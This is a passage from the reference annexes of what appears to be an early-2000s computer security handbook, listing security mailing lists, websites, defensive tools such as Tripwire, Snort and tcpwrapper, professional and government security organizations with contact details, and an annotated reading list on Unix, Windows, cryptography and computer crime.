shareware products). You may wish to contact your vendors to see if they have such lists, and if so, join. To subscribe to Microsoft's Security Notification Service mailing list, for example, visit the Microsoft Profile Center at http://register.microsoft.com/regsys/pic.asp and register.

Major Mailing Lists

These are some of the major mailing lists.

Bugtraq
Bugtraq is a full-disclosure computer security mailing list. This list features detailed discussion of UNIX security holes: what they are, how to exploit them, and what to do to fix them. This list is not intended to be about cracking systems or exploiting their vulnerabilities (although that is known to be the intent of some of the subscribers). It is, instead, about defining, recognizing, and preventing use of security holes and risks. To subscribe, sign up at *http://www.securityfocus.com*. Note that we have seen some incredibly incorrect and downright bad advice posted to this list. Individuals who attempt to point out errors or corrections are often roundly flamed as being "anti-disclosure." Post to this list with caution if you are the timid sort.

SecurityFocus also runs several other mailing lists that cover areas of security (such as IDS, honeypots, or viruses) or specific flavors of Unix (such as Linux or Sun systems). A particularly interesting list is "incidents" which is for reporting actual attacks and break-ins. SecurityFocus is owned by the Symantec Corporation

NTBugtraq
A full-disclosure computer security mailing list for Microsoft Windows NT-based systems (including Windows 2000 and XP). Non NT-based releases are off-topic for this list. In other ways, it resembles the Bugtraq list. Subscribe at http://www.ntbugtraq.com.

CERT-advisory
New CERT/CC advisories of security flaws and fixes for Internet systems are posted to this list. This list makes somewhat boring reading; often the advisories are so watered down that you cannot easily figure out what is actually being described. Nevertheless, the list does have its bright spots. Send subscription requests to *majordomo@cert.org*. Put "subscribe cert-advisory" in the message body.

Archived past advisories are available at *http://www.cert.org/nav/alerts.html*.

Computer underground digest
A curious mixture of postings on privacy, security, law, and the computer underground fill this list. Despite the name, this list was not a digest of material by the "underground"—it contained information about the computing milieu. Unfortunately, it stopped publishing in 2000, and it is unclear if the list will ever resume. This list was available as the newsgroup *comp.society.cu-digest* on the Usenet; the newsgroup was the preferred means of distribution. The list is archived at numerous places around the Internet, including its home page:
http://sun.soci.niu.edu/~cudigest/

Firewalls
The Firewalls mailing list, which is hosted by the Internet Software Consortium, is a primary forum for folks on the Internet who want to discuss the design, construction, operation, maintenance, and philosophy of Internet firewall security systems. To subscribe, visit *http://www.isc.org/services/public/lists/firewalls.html* .

The Firewalls mailing list is usually high volume (sometimes more than 100 messages per day, although usually it is only several dozen per day). To accommodate subscribers who don't want their mailboxes flooded with lots of separate messages from Fire-walls, a digested version of the list is also available, and the list is archived on the web site.

Firewall-Wizards
The firewall-wizards mailing list is a moderated list focused not only on the design and implementation of firewalls but also other network security topics. You can subscribe (or browse the archives) at *http://honor.icsalabs.com/mailman/listinfo/firewall-wizards*.

RISKS
RISKS is officially known as the ACM Forum on Risks to the Public in the Use of Computers and Related Systems. It's a moderated forum for discussion of risks to society

from computers and computerization. RISKS is also distributed as the *comp.risks* Usenet newsgroup, and this is the preferred method of subscription. If you don't get Usenet (and don't want to read it via *http://groups.google.com*), you can send email subscription requests to *RISKS-Request@csl.sri.com* with the word "subscribe" in the body.

Back issues are available through Google (as above) or from http://www.risks.org

SANS Security Alert Consensus
Security Alert Consensus is a weekly digest of alerts and announcements from several other security mailing lists and vendors. Subscriptions can be customized to include only those operating systems for which you are responsible. Subscribe at *http://www.sans.org*.

Usenet Groups

There are several Usenet newsgroups that you might find to be interesting sources of information on network security and related topics. However, the unmoderated lists are the same as other unmoderated groups on the Usenet: repositories of material that is often off-topic, repetitive, and incorrect. Our warning about material found in mailing lists, expressed earlier, applies doubly to newsgroups.

comp.security.announce (moderated)
Computer security announcements, including new CERT/CC advisories

comp.security.unix
UNIX security

comp.security.misc
Miscellaneous computer and network security

comp.security.firewalls
Information about firewalls

comp.virus (moderated)
Information on computer viruses and related topics

comp.admin.policy
Computer administrative policy issues, including security

comp.protocols.tcp-ip
TCP/IP internals, including security

comp.unix.admin
UNIX system administration, including security

sci.crypt
Discussions about cryptology research and application

sci.crypt.research (moderated)
Discussions about cryptology research

comp.risks (moderated)
As described above

microsoft.public.security,
microsoft.public.win2000.security,
microsoft.public.windowsxp.security_admin
Microsoft hosts dozens of Usenet groups for its operating systems and applications, include several devoted specifically to security.

WWW Sites

There are literally thousands of WWW pages with pointers to other information. Some pages are comprehensive, and others are fairly narrow in focus. The ones we list here provide a good starting point for any browsing you might do. You will find most of the other useful directories linked into one or more of these pages, and you can then build your own set of "bookmarks."

CIAC
The staff of the CIAC keep a good archive of tools and documents available on their site. This archive includes copies of their notes and advisories, and some locally developed software:
http://ciac.llnl.gov

CERIAS
CERIAS (Center for Education and Research in Information Assurance and Security), the successor to COAST (Computer Operations, Audit, and Security Technology) is an inter-disciplinary center in information security research and education at Purdue University. It functions with close ties to researchers and engineers in major companies and government

agencies. CERIAS focuses on real-world research needs and limitations.

From a purely historical perspective, this represents what may be the oldest, and longest-running Internet archive of security tools and reference materials. Created in 1989 as an ftp-only site, the archive started as a collection of anti-virus tools and gradually expanded to include scanners, firewalls, and documents of all kinds. The site transitioned through gopher and WWW servers, and from a personal archive (Spafford's) to the COAST Laboratory archive, to the current CERIAS archive. For its first decade the site was generally believed to be the largest archive of security material on the Internet.

Over the last few years, the archive and hotlist have diverged somewhat, and fewer items are currently stored there than before. (Many of the commercial sites have resources to pay a staff to maintain more comprehensive archives.) Nonetheless, the current archive contains many items of historical interest, a large collection of useful tools and documents, including items not carried elsewhere, and items that are produced by CERIAS and CERIAS partners. There are also extensive lists of pointers to organizations and resources.

http://www.cerias.purdue.edu/infosec/
ftp://ftp.cerias.purdue.edu

FIRST
The FIRST (Forum of Incident Response and Security Teams) Secretariat maintains a large archive of material, including pointers to WWW pages for other FIRST teams:
http://www.first.org

NIST CSRC
The National Institute of Standards and Technology's Computer Security Division maintains a comprehensive archive of documents and tools. This is a trusted, useful site for documentation, standards, and software.
http://csrc.nist.gov/index.html

Insecure.org
Home of the **nmap** portscanning tool, the Insecure.org web site links to archives of many important mailing lists and other security information:
http://www.insecure.org

NIH
The WWW index page at NIH provides a large set of pointers to internal collections and other archives:
http://www.alw.nih.gov/Security/

Software Resources

This appendix describes some of the tools and packages available on the Internet that you might find useful in maintaining security at your site. Although this software is (or was) freely available, some of it is restricted in various ways by the authors (e.g., it may not be permitted to be used for commercial purposes or be included on a CD-ROM, etc.) or by the U.S. government (e.g., if it contains cryptography, there may be constraints on export or use in certain locales). Carefully read the documentation files that are distributed with the packages. If you have any doubt about appropriate use restrictions, contact the author(s) directly.

Although we have used most of the software listed here, we can't take responsibility for ensuring that the copy you get will work properly and won't cause any damage to your system. As with any software, test it before you use it!

Some software distributions carry an external PGP signature. This signature helps you verify that the distribution you receive is the one packaged by the author. It does not provide *any* guarantee about the safety or correctness of the software, however.

Because of the additional confidence that a digital signature can add to software distributed over the Internet, we strongly encourage authors to take the additional step of including a stand-alone signature. We also encourage users who download software to check several other sources if they download a package *without* a signature.

Crossplatform Tools

Kerberos
Kerberos is a secure network authentication system that is based upon private key cryptography. The Kerberos source code and papers are available from the Massachusetts Institute of Technology. Contact:
MIT Software Center
W32-300
20 Carlton Street
Cambridge, MA 02139
(617) 253-7686

You can use anonymous FTP to transfer files over the Internet from: ftp://athena-dist.mit.edu/pub/kerberos Kerberos is integrated into Microsoft Windows 2000 and later releases.

nmap
nmap is the port scanner of choice for both attackers and defenders. It can perform a wide variety of TCP, UDP, and ICMP scans (including various "stealth scans" that attackers might use to disguise their activities), and has a sophisticated ability to "fingerprint" operating systems and determine their vendor and version remotely. It is available from:
http://www.insecure.org

OpenSSH
OpenSSH is a free software implementation of the Secure Shell protocol (versions 1 and 2) for cryptographically-secured remote terminal emulation, command execution, and file transfer. It is developed and maintained by the OpenBSD project, but the "portable" version compiles and runs on most Unix systems and several other operating systems. There are also several good free software SSH clients for Windows, including PuTTY. Disable the telnet daemon before you connect your system to a network; install OpenSSH (or another SSH server) if you need to be able to connect to your system over the network. You can get OpenSSH at:
http://www.openssh.org

OpenSSL
OpenSSL is a free software implementation of the Secure Sockets Layer (versions 2 and 3) and Transport Layer Security (version 1) protocols. It provides libraries for these protocols that are commonly required by other server software (such as web servers). It also provides a command line tool for generating cryptographic certificate requests, certificates, signatures, and random numbers. OpenSSL is available from:
http://www.openssl.org

Snort
Snort is a powerful open source packet sniffer and network intrusion detection system. Its IDS ruleset is regularly updated, enabling it to parse the TCP/IP packets that it monitors in real time, and report suspicious traffic. Get *Snort* from:
http://www.snort.org

Tripwire
Tripwire, written by Gene H. Kim and Gene Spafford of Purdue University, is a file integrity checker, a utility that compares a designated set of files and directories against information stored in a previously generated database. Added or deleted files are flagged and reported, as are any files that have changed from their previously recorded state in the database. Run Tripwire against system files on a regular basis. If you do so, the program will spot any file changes when it next runs, giving system administrators information to enact damage-control measures immediately.

You can get the freeware version of Tripwire from:
http://www.tripwire.com/downloads/

Unix Tools

chrootuid
The *chrootuid* daemon, by Wietse Venema, simplifies the task of running a network service at a low privilege level and with restricted file system access. The program can be used to run WWW and other network daemons in a minimal environment: the daemons have access only to their own directory tree and run with an unprivileged user ID. This arrangement greatly reduces the impact of possible security problems in daemon software.

You can get *chrootuid* from:
ftp://ftp.porcupine.org/pub/security/index.html
ftp://ftp.cerias.purdue.edu/pub/tools/unix/sysutils/chrootuid/

portmap
The *portmap* daemon, written by Wietse Venema, is a replacement program for Sun Microsystem's *portmapper* program. Venema's *portmap* daemon offers access control and logging features that are not found in Sun's version of the program. It also comes with the source code, allowing you to inspect the code for problems or modify it with your own additional features, if necessary.

You can get *portmap* from:
ftp://ftp.porcupine.org/pub/security/index.html
ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/portmap/

Portsentry
The *portsentry* program is a proactive defense against portscans that may precede an attack. *portsentry* listens on a unused TCP/IP ports and takes action when outsiders attempt to establish connections to one or more monitored ports. Actions can include adding the scanning host to */etc/hosts.deny*, adding the scanning host to a packet-filtering firewall, or running other arbitrary commands. *portsentry* is available at:
http://sourceforge.net/projects/sentrytools/

Swatch
Swatch, by Todd Atkins of Stanford University, is the Simple Watcher. It monitors log files created by *syslog*, and allows an administrator to take specific actions (such as sending an email warning, paging someone, etc.) in response to logged events and patterns of events.

You can get Swatch from:
http://www.oit.ucsb.edu/~eta/swatch/
ftp://ftp.cerias.purdue.edu/pub/tools/unix/logutils/swatch

tcpwrapper
The *tcpwrapper* is a system written by Wietse Venema that allows you to monitor and filter incoming requests for servers started by *inetd*. You can use it to selectively deny access to your sites from other hosts on the Internet, or, alternatively, to selectively allow access.
You can get *tcpwrapper* from:
ftp://ftp.porcupine.org/pub/security/index.html
ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/tcp_wrappers/

Tiger
Tiger, originally written by Doug Schales of Texas A&M University (TAMU), is a set of scripts that scan a UNIX system looking for security problems. Tiger was originally developed to provide a check of the UNIX systems on the A&M campus that users wanted to be able to access off-campus. Before the packet filtering in the firewall would be modified to allow off-campus access to the system, the system had to pass the Tiger checks. Tiger was dormant from 1994-1999, but is once again being actively maintained and updated.

You can get Tiger from:
http://www.tigersecurity.org

trimlog
David Curry's *trimlog* is designed to help you to manage log files. It reads a configuration file to determine which files to trim, how to trim them, how much they should be trimmed, and so on. The program helps keep your logs from growing until they consume all available disk space.

You can get *trimlog* from:
ftp://ftp.cerias.purdue.edu/pub/tools/unix/logutils/trimlog/

wuarchive ftpd
The *wuarchive* FTP daemon offers many features and security enhancements, such as perdirectory message files shown to any user who enters the directory, limits on number of simultaneous users, and improved logging and access control. These enhancements are specifically designed to support anonymous FTP.

You can get the daemon from:
http://www.wu-ftpd.org

Windows Tools

Antivirus software
There are many fine antivirus products produced by companies that regularly issue updated virus lists. It is less important which antivirus product you choose than that you choose one, and use it consistently. The best products offer real-time antivirus protection as a background service, rather than just virus scanning on demand.

Microsoft Baseline Security Analyzer
The Microsoft Baseline Security Analyzer (BSA) is a security-checking application for Windows NT 4 and later systems. It performs a variety of checks on the local system or on remote systems under your administrative control, including checking for updated security patches, password quality, filesystem configuration, auditing, and application-specific checks for IIS and SQL Server. Highly recommended as the first tests to run – if it can't pass this, you've got problems.

Get it from:
http://www.microsoft.com/technet/security/tools/Tools/mbsahome.asp

Microsoft IIS Lockdown Wizard
IIS, the Windows web server, has repeatedly been the source of system compromises. If you don't choose to replace it completely with Apache (http://httpd.apache.org) or another web server, at minimum you should run this Wizard, which disables unnecessary components and tightens security of the IIS installation and configuration. Get it from:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=43955

ANNEX 4. ORGANIZATIONS

Here we have collected information on a few useful organizations you can contact for more information and additional assistance.

Professional Organizations

You may find the following organizations helpful. The first few provide newsletters, training, and conferences. FIRST organizations may be able to provide assistance in an emergency.

Association for Computing Machinery (ACM)

The Association for Computing Machinery is the oldest of the computer science professional organizations. It publishes many scholarly journals and annually sponsors dozens of research and community-oriented conferences and workshops. The ACM also is involved with issues of education, professional development, and scientific progress. It has a number of special interest groups (SIGs) that are concerned with security and computer use. These include the SIGs on Security, Audit and Control; the SIG on Operating Systems; the SIG on Computers and Society; and the SIG on Software Engineering.

The ACM may be contacted at:
ACM Headquarters
One Astor Plaza
1515 Broadway
17th Floor
New York, New York 10036-5701
+1-212-869-7440

ACM has a US Public policy committee that comments on pending legislation affecting security, privacy, and usability. Many of the items they are concerned with should also be of concern to those interested in security.

http://www.acm.org/usacm/

The ACM has an extensive set of electronic resources, including information on its conferences and special interest groups. The information provided through the World Wide Web page is especially comprehensive and well organized:

http://www.acm.org

American Society for Industrial Security (ASIS)

The American Society for Industrial Security is a professional organization for those working in the security field. ASIS has been in existence for 40 years and has 32,000 members worldwide as of 2002. Its 25 standing committees focus on particular areas of security, including computer security. The group publishes a monthly magazine devoted to security and loss management. ASIS also sponsors meetings and other group activities. Membership is open only to individuals involved with security at a management level.

More information may be obtained from *http://www.asisonline.org* or:

American Society for Industrial Security
1625 Prince Street
Alexandria, Virginia 22314-2818
+1-703-519-6200
http://www.asisonline.org/

www.cisecurity.org

Cisecurity is a useful source of security information, checklists, and tools for Unix and Windows.

Computer Security Institute (CSI)

The Computer Security Institute was established in 1974 as a multiservice organization dedicated to helping its members safeguard their electronic data processing resources. CSI sponsors workshops and conferences on security, publishes a research journal and a newsletter devoted to computer security, and serves as a clearinghouse for security information. The Institute offers many other services to members and the community on a for-profit basis. Of particular use is an annual *Computer Security Buyer's Guide* that lists sources of software, literature, and security consulting.
You may contact CSI at *http://www.gocsi.com* or:

Computer Security Institute
600 Harrison Street
San Francisco, CA 94107
+1-415-947-6320

Electronic Frontier Foundation (EFF)

EFF advocates and litigates on issues related to civil liberties and freedom on the Internet. Although its concerns are considerably broader than security, EFF maintains an interesting archive of privacy- and security-related documents at *http://www.eff.org/Privacy*. EFF can be contacted through that web site, or:

Electronic Frontier Foundation
454 Shotwell Street
San Francisco, CA 94110-1914
+1-415-436-9333

Electronic Privacy Information Center (EPIC)

EPIC is a public interest research center that studies electronic privacy issues. EPIC litigates and advocates for privacy and civil liberties. EPIC's web site is *http://www.epic.org*, or it can be contacted at:

1718 Connecticut Avenue, NW, Suite 200
Washington, DC 20009
+1-202-483-1140
Email: info@epic.org

High Technology Crimes Investigation Association (HTCIA)

The HTCIA is a professional organization for individuals involved with the investigation and prosecution of high-technology crime, including computer crime. There are chapters throughout the U.S., and in many other countries. Information is available via the WWW page or through regular mail or phone:
http://htcia.org

HTCIA, Inc.
1474 Freeman Dr.
Amissville, VA 20106
+1 540-937-5019

Information Systems Security Association (ISSA)

The ISSA is an international organization of information security professionals and practitioners. It provides education forums, publications, and peer interaction opportunities that enhance the knowledge, skill, and professional growth of its members. They publish a magazine and sponsor conferences and workshops. Chapters are present throughout the U.S. and around the world.

For more information about ISSA, contact:
ISSA Headquarters
7044 S. 13th Street
Oak Creek, WI 53154
+1-414-768-8000
+1-800-370-ISSA

ISSA has a WWW page at:
http://www.issa.org

Information Systems Audit and Control Association (ISACA)

The ISACA is an international organization of information security management, audit and consulting professionals and practitioners. It provides education forums, publications, professional certification and peer interaction opportunities that enhance the knowledge, skill, and professional growth of its members. They publish a magazine and sponsor research, conferences and workshops. Chapters are present throughout the U.S. and around the world.

For more information about ISSA, contact:
ISACA Headquarters
3701 Algonquin Road, Suite 1010
Rolling Meadows, Illinois 60008, USA
+1-847-253-1545
+1-847-253-1443

ISACA has a WWW page at:
http://www.isaca.org

International Information Systems Security Certification Consortium, Inc.

The (ISC)² is an international organization that supervises the CISSP and SSCP professional certifications. The Certified Information Systems Security Professional and Systems Security Certified Practitioner designations are widely accepted as standard levels of certification of those working in security. The organization requires certificants to subscribe to a professional code of conduct and to undergo continuing education after passing the initial tests.

More information can be found on the WWW site or via mail.
http://www.isc2.org

(ISC)² Services
P.O. Box 1117
Dunedin, FL 34697
USA
+1.888.333.4458

(ISC)² Europe Operations
Nestor House
London UK EC4V 5EX
+ 44 (0) 20 7779 8030

(ISC)² Asia Operations
17/F., Printing House
Central Hong Kong
+852 2111 6612

The Internet Society

The Internet Society sponsors many activities and events related to the Internet, including an annual symposium on network security. For more information, contact the Internet Society:
http://www.isoc.org

You may also contact the Society's US or European headquarters:

1775 Wiehle Ave., Suite 102
Reston, VA 20190-5108
+1-703-326-9880

4, rue des Falaises
CH-1205 Geneva
Switzerland
+41-22-807-1444
Email: info@isoc.org

IEEE Computer Society

With nearly 100,000 members, the Computer Society is the largest member society of the Institute of Electrical and Electronics Engineers (IEEE). It too is involved with scholarly publications, conferences and workshops, professional education, technical standards, and other activities designed to promote the theory and practice of computer science and engineering. The IEEE–CS also has special interest groups, including a Technical Committee on Security and Privacy, a Technical Committee on Operating Systems, and a Technical Committee on Software Engineering. More information on the Computer Society may be obtained from:

IEEE Computer Society
1730 Massachusetts Avenue N.W.
Washington, DC 20036-1992
+1-202-371-0101

The Computer Society has a set of WWW pages starting at:
http://www.computer.org

The Computer Society's Technical Committee on Security and Privacy has a number of resources, including an online newsletter:
http://www.ieee-security.org/

IFIP Technical Committee 11

The International Federation for Information Processing, Technical Committee 11, is devoted to research, education, and communication about information systems security. The working groups of the committee sponsor various activities, including conferences, throughout the world. More information may be obtained from:
http://www.ifip.org
(Follow the links for security or for TC 11.)

Systems Administration and Network Security (SANS)

SANS conducts workshops and conferences around the U.S. to provide continuing education in various aspects of system administration and security. This includes training in intrusion detection, firewalls, and general security. The organization also provides various on-line newsletters and alerts, plus some self-paced instruction. More information can be found on their WWW site.
http://www.sans.org

USENIX/SAGE

The USENIX Association is a nonprofit education organization for users of UNIX and UNIX-like systems. The Association publishes a magazine, sponsors numerous conferences, and has representatives on international standards bodies. The Association sponsors an annual workshop on UNIX security and another on systems administration, plus many conferences with security-related information.

SAGE stands for the Systems Administrators Guild. It is a special technical group of the USENIX Association. To join SAGE, you must also be a member of USENIX. Information on USENIX and SAGE can be obtained from:

USENIX Association
2560 Ninth Street
Suite 215
Berkeley, CA 94710
+1-510-528-8649
office@usenix.org

The USENIX WWW page is at:
http://www.usenix.org

U. S. Government Organizations

National Institute of Standards and Technology (NIST)

The National Institute of Standards and Technology (formerly the National Bureau of Standards) has been charged with the development of computer security standards and evaluation methods for applications not involving the Department of Defense (DoD). Its efforts include research as well as developing standards.
More information on NIST's activities can be obtained by contacting:

NIST Computer Security Division
100 Bureau Drive
Mail Stop 8930
Gaithersburg, MD 20899-8930
+1-301- 975-2934
http://www.nist.gov

NIST operates the Computer Security Resource Center:
http://csrc.nist.gov/

National Security Agency (NSA)

The NSA maintains lists of evaluated and certified products, as well as technical information about security, especially cryptography. Linux users may be interested in the NSA Secure Linux program, a set of kernel patches that enhances Linux security. NSA also operates the National Cryptologic Museum in Maryland, and has an online museum of cryptology. The NSA web site is *http://www.nsa.gov*.

Also available from the site are a number of helpful configuration guides for common operating systems and routers. These guides provide helpful tips on changing default configurations to support better security and control.

Emergency Response Organizations

The Department of Justice, FBI, and U.S. Secret Service organizations listed below investigate violations of the federal laws related to fraud, theft, and the misuse of computer resources. The various response teams that comprise the Forum of Incident and Response Security Teams (FIRST) do not investigate computer crimes per se, but provide assistance when security incidents occur; they also provide research, information, and support that can often help those incidents from occurring or spreading.

Note that Federal agencies often have field (local) offices where you can get more personal contact, although not all field offices are staffed by personnel with the same level of training as those at headquarters offices. You can check your phone directory for local numbers: look under "US Government."

Department of Justice (DOJ)

10th & Constitution Ave., NW
Criminal Division, (Computer Crime & Intellectual Property Section)
John C. Keeney Building, Suite 600
Washington, DC 20530
+1-202-514-1026
http://www.cybercrime.gov

Federal Bureau of Investigation (FBI)

In addition to the NIPC, the FBI also runs the Infraguard — a set of regional cooperative efforts uniting the FBI and local businesses to protect against computer crime. The Infraguard links may be found on the NIPC WWW pages.

National Infrastructure Protection Center
J. Edgar Hoover Building
935 Pennsylvania Avenue, NW
Washington, D.C. 20535-0001
+1-202-323-3205
http://www.nipc.gov

U.S. Secret Service (USSS)

Financial Crimes Division
Electronic Crime Branch
U.S. Secret Service
Washington, DC 20223
Voice: +1-202-435-7700
http://www.ustreas.gov/usss/financial_crimes.shtml

Forum of Incident and Response Security Teams (FIRST)

The Forum of Incident and Response Security Teams (FIRST) was established in March 1993. FIRST is a coalition that brings together a variety of computer security incident-response teams from the public and private sectors, as well as from universities. FIRST's constituents comprise many response teams throughout the world. FIRST's goals are to:

- Boost cooperation among information technology users in the effective prevention of, detection of, and recovery from computer security incidents
- Provide a means to alert and advise clients on potential threats and emerging incident situations
- Support and promote the actions and activities of participating incident response teams, including research and operational activities
- Simplify and encourage the sharing of security-related information, tools, and techniques

FIRST sponsors an annual workshop on incident response that includes tutorials and presentations by members of response teams and law enforcement.

FIRST incorporated in mid-1995 as a nonprofit entity, and migrated FIRST Secretariat duties away from NIST.

The Secretariat can be reached at:
FIRST Secretariat
First.Org, Inc.
PMB 349
650 Castro Street, Suite 120
Mountain View, CA 94041
Email: first-sec@first.org
http://www.first.org/

FIRST consists of a large number of member organizations. Check online for the most up-to-date list

of members. If you have a security problem or need assistance, first attempt to determine which of these organizations most clearly covers your operations and needs. If you are unable to determine which (if any) FIRST group to approach, call any of them for a referral to the most appropriate team.

Most of these response teams have a PGP key with which they sign their advisories or enable constituents to report problems in confidence:

http://www.first.org/rep-info/

Most teams have arrangements to monitor their phones 24 hours a day, 7 days a week.

Computer Emergency Response Team Coordination Center (CERT/CC)

One particularly notable FIRST team is the CERT® Coordination Center, which serves all Internet sites. CERT grew from the computer emergency response team formed by the Advanced Research Projects Agency (ARPA) in November 1988 (in the wake of the Internet Worm and similar incidents). The CERT/CC charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community's awareness of computer security issues, and to conduct research into improving the security of existing systems. Their WWW archive (*http://www.cert.org*) contains an extensive collection of alerts about past (and current) security problems. Contact CERT at:

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
+1-412-268-7090 (24 hour hotline)
Email: cert@cert.org

ANNEX 5. PRINT RESOURCES

There have been a great many books, magazines and papers published on security in the last few years, reflecting the growing concern with the topic. Trying to keep up with even a subset of this information can be quite a chore, whether you wish to stay current as a researcher or as a practitioner. Here, we have collected information about several useful references that you can use as a starting point for more information, further depth, and additional assistance.

We have tried to confine the list to a small set of accessible and especially valuable references that you will not have difficulty finding. A few of the references we have left in for historical reference as much as for any other reason. We've provided annotation where we think it will be helpful.

If you are interested in building your security bookshelf, we advise you to visit a bookstore, see the booksellers at a security conference, or read the reviews of books in security-related venues. The field is moving quickly. Just as you keep up with bugs and patches, it is important to maintain your currency with the literature!

UNIX Security References

These books focus on UNIX computer security.

Garfinkel, Simson, Gene Spafford, and Alan Schwartz. *Practical Unix and Internet Security, 3rd Edition*. Cambridge, MA: O'Reilly and Associates, Inc., 2003.

Grampp, F. T., and R. H. Morris. "UNIX Operating System Security," AT&T Bell Laboratories Technical Journal, October 1984. This is the original article on UNIX security and remains worth reading.

Wood, Patrick H., and Stephen G. Kochan. UNIX System Security, Carmel, IN: Hayden Books, 1986. A good treatment of UNIX System V security prior to the incorporation of TCP/IP networking. This book is of mainly historical interest.

Windows Security References

Norberg, Stefan. *Securing Windows NT/2000 Servers for the Internet: A Checklist for System Administrators*. Cambridge, MA: O'Reilly and Associates, 2002. An excellent hardening guide for Windows NT-based systems that will be used to provide Internet services.

Anderson-Redick, Stacey. *Windows System Policy Editor*. Sebastopol, CA: O'Reilly and Associates, 2000.

Other Security References

The following books and articles are of general interest to all practitioners of computer security.

Computer Crime and Law

Freedman, David H., and Charles C. Mann. *@Large*; NYC, NY, 1997. A story about a huge computer crime spree caused entirely by two people. This incident spawned the FBI Computer Crime Squad, some FIRST teams, and the writing of the Tripwire tool at Purdue.

Icove, David, Karl Seger, and William VonStorch, *Computer Crime: A Crimefighter's Handbook*, Sebastopol, CA: O'Reilly & Associates, 1995. A popular rewrite of an FBI training manual; dated, but with some worthy material.

Power, Richard. *Tangled Web*. Indianapolis, IN, Que, 2002. A collection of stories of cybercrime and investigation. Cites a number of statistics to give a snapshot of the problem.

Computer-Related Risks

Leveson, Nancy G. *Safeware: System Safety and Computers. A Guide to Preventing Accidents and Losses Caused by Technology*. Reading, MA: Addison Wesley, 1995. This textbook contains a comprehensive exploration of the dangers of computer systems, and explores ways in which software can be made more fault tolerant and safety conscious.

Neumann, Peter G. *Computer Related Risks*. Reading, MA: Addison & Wesley, 1995. Dr. Neumann moderates the Internet RISKS mailing list. This book is a collection of the most important stories passed over the mailing list since its creation.

Computer Viruses and Programmed Threats

Communications of the ACM, Volume 32, Number 6, June 1989 (the entire issue). This whole issue was devoted to issues surrounding the Internet Worm incident.

Ferbrache, David. T*he Pathology of Computer Viruses*. London, England: Springer- Verlag, 1992. This was probably the best all-around book on the technical aspects of computer viruses, although it doesn't cover macro viruses.

Denning, Peter J. Computers *Under Attack: Intruders, Worms and Viruses*. Reading, MA: ACM Press/Addison-Wesley, 1990. A comprehensive collection of readings related to these topics, including reprints of many classic articles. Historical interest.

Hoffman, Lance J., Rogue Programs: *Viruses, Worms and Trojan Horse*s. New York, NY: Van Nostrand Reinhold, 1990. A comprehensive collection of readings on viruses, worms, and the like. More historical interest.

The Virus Bulletin. Virus Bulletin CTD. Oxon, England. An international publication on computer virus prevention and removal. This is an outstanding publication about computer viruses and virus prevention. It is likely to be of value only to sites with a significant PC population, however. The publication also sponsors conferences that have good papers on viruses. http://www.virusbtn.com.

Cryptography Books

Denning, Dorothy E. R. Cryptography and Data Security. Reading, MA: Addison-Wesley, 1983. The classic textbook in the field. Now out of print but worth having.

Garfinkel, Simson. *PGP: Pretty Good Privacy*. Sebastopol, CA: O'Reilly & Associates, 1994. Describes the history of cryptography, the history of the program PGP, and explains the PGP's use.

Hinsley, F.H., and Alan Stripp. *Code Breakers: The Inside Story of Bletchley Park*. Oxford, England: Oxford University Press, 1993.

Hoffman, Lance J. *Building in Big Brother: The Cryptographic Policy Debate*. New York, NY: Springer-Verlag, 1995. An interesting collection of papers and articles about the Clipper Chip, Digital Telephony legislation, and public policy on encryption. Of some historical interest.

Kahn, David. *The Codebreakers*. New York, NY: Macmillan Company, 1972. The definitive history of cryptography prior to the invention of public key.

Schneier, Bruce. *Applied Cryptography: Protocols, Algorithms, and Source Code in C. Second edition*. New York, NY: John Wiley & Sons, 1996. The most comprehensive, unclassified book about computer encryption and data-privacy techniques ever published.

Singh, Simon. *The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography*. NY: Anchor Books, 2000. A very readable and up-to-date treatment of the history and principles of cryptography.

Wayner, Peter. *Disappearing Cryptography*; Boston, MA: Academic Press, 1996. Good coverage of steganography.

Cryptography Papers and Other Publications

Association for Computing Machinery. "Codes, Keys, and Conflicts: Issues in U.S. Crypto Policy." Report of a Special Panel of the ACM U.S. Public Policy Committee location: USACM, June 1994. (URL: http://info.acm.org/reports/acm_crypto_study. html)

Diffie, Whitfield. "The First Ten Years of Public-Key Cryptography." *Proceedings of the IEEE* 76 (1988): 560–76. Whitfield Diffie's tour-de-force history of public key cryptography, with revealing commentaries.

Diffie, Whitfield, and M.E. Hellman. "New Directions in Cryptography." *IEEE Transactions on Information Theory IT-22* (1976). The article that introduced the concept of public key cryptography

Lai, Xuejia. "On the Design and Security of Block Ciphers." *ETH Series in Information Processing 1* (1992). The article describing the IDEA cipher.

LaMacchia, Brian A. and Andrew M. Odlyzko. "Computation of Discrete Logarithms in Prime Fields." *Designs, Codes, and Cryptography*. (1991):, 46–62.

Lenstra, A.K., H. W. Lenstra, Jr., M.S. Manasse, and J.M. Pollard. "The Number Field Sieve." *Proceedings of the 22nd ACM Symposium on the Theory of Computing*. Baltimore MD: ACM Press, 1990, 564–72.

Merkle, Ralph. "Secure Communication Over Insecure Channels." *Communications of the ACM 21* (1978): 294–99 (submitted in 1975). The article that should have introduced the concept of public key cryptography.

Merkle, Ralph, and Martin E. Hellman. "On the Security of Multiple Encryption." *Communications of the ACM 24* (1981): 465–67.

Merkle, Ralph, and Martin E. Hellman. "Hiding Information and Signatures in Trap Door Knapsacks." *IEEE Transactions on Information Theory 24* (1978): 525–30.

Rivest, Ron, A. Shamir, and L. Adleman. "A Method for Obtaining Digital Signatures and Public Key Cryptosystems." *Communications of the ACM 21* (1978).

General Computer Security

Amoroso, Edward. *Fundamentals of Computer Security Technology*. Englewood Cliffs, NJ: Prentice-Hall, 1994. A very readable and complete introduction to computer security at the level of a college text.

Anderson, Ross. *Security Engineering*; NYC, NY: John Wiley & Sons, 2001. A comprehensive book on end-to-end system design with security in mind.

Bace, Rebecca. *Intrusion Detection*; Indianapolis, IN: Macmillan, 2000. An excellent book on the history and structure of intrusion detection systems for hosts and networks.

Computers & Security. This is a journal published eight times each year by Elsevier Press, Oxford, England. (Order from Elsevier Press, +44-(0) 865-512242.) It is one of the main journals in the field. This journal is priced for institutional subscriptions, not individuals. Each issue contains pointers to dozens of other publications and organizations that might be of interest, as well as referenced articles, practicums, and correspondence. The URL for the WWW page is included in "Security Periodicals."

